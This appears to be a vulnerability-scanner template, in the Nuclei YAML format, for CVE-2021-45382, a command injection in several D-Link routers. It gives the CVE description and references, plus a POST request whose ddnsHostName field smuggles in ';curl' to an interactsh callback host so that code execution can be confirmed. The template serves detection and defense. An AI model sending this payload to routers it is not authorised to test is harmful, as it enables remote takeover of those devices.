2023-10-12 12:18:25 +00:00
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id: CVE-2021-45382
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info:
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2023-10-12 12:41:21 +00:00
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name: D-Link Remote Command Execution
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2023-10-12 12:18:25 +00:00
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author: king-alexander
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severity: critical
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description: |
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2023-10-12 12:41:21 +00:00
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There is a remote command execution vulnerability via the DDNS function in the ncc2 binary file that affects multiple D-Link routers.
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2023-10-12 12:18:25 +00:00
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impact: |
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Successful exploitation of this vulnerability could lead to system compromise.
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remediation: |
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The affected products are end-of-life and should be disconnected if still in use.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-45382
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- https://github.com/doudoudedi/D-LINK_Command_Injection1/blob/main/D-LINK_Command_injection.md#poc
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tags: cve,cve2021,dlink,kev,rce
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http:
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- method: POST
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path:
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- "{{Host}}/ddns_check.ccp"
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# Neither the ddnsHostName or ddnsUsername field sanitize input. For simplicty, I use dnsHostname to achieve
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# remote code execution.
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body: "ccp_act=doCheck&ddnsHostName=;curl https://{{interactsh-url}};&ddnsUsername=admin&ddnsPassword=123123123"
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "http"
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